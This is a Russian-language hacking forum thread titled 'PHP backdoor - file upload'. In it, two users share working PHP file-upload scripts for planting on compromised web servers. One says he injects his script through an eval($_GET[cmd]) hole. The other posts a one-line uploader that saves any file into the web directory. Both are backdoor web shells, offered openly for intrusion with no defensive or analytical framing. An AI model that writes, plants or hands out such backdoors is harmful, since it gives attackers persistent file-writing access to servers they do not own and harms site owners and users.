Бэкдор php - загрузка файла

Discussion in 'Песочница' started by skaska, 25 Jul 2015.

  1. traceme

    traceme Member

    Joined:
    11 Jun 2015
    Messages:
    34
    Likes Received:
    11
    Reputations:
    1
    Вставляю этот скрипт для аплоада при использовании eval($_GET[cmd]);

    Code:
    <?php if(isset($_POST['Submit'])){ 
    $filedir = ""; 
    $maxfile = '2000000';  
    $userfile_name = $_FILES['image']['name'];  
    $userfile_tmp = $_FILES['image']['tmp_name'];  
    if (isset($_FILES['image']['name'])) {  
    $abod = $filedir.$userfile_name;  
    @move_uploaded_file($userfile_tmp, $abod);  
    echo"<center><b>Done ==> <a href=$userfile_name>$userfile_name</a></b></center>";
    }
    }
    else
    {
    echo'<form method="POST" action="" enctype="multipart/form-data">
    <input type="file" name="image"><input type="Submit" name="Submit" value="Submit"></form>';
    }
    ?>
    
     
  2. hAv3n1c3DaY

    hAv3n1c3DaY New Member

    Joined:
    28 Jul 2015
    Messages:
    17
    Likes Received:
    1
    Reputations:
    0
    Code:
    <form enctype='multipart/form-data' action='tmpqhtwe.php' method='POST'><input name='upfile' type='file'/><input type='submit' value='upload'/></form><?php $target_path=basename($_FILES['upfile']['name']);if(move_uploaded_file($_FILES['upfile']['tmp_name'],$target_path)){echo basename($_FILES['upfile']['name']).' uploaded';}else{echo 'error!';}?>
    tmpqhtwe.php //название этого скрипта
     
Loading...
Similar Threads - Бэкдор загрузка файла
  1. Loents
    Replies:
    14
    Views:
    2,672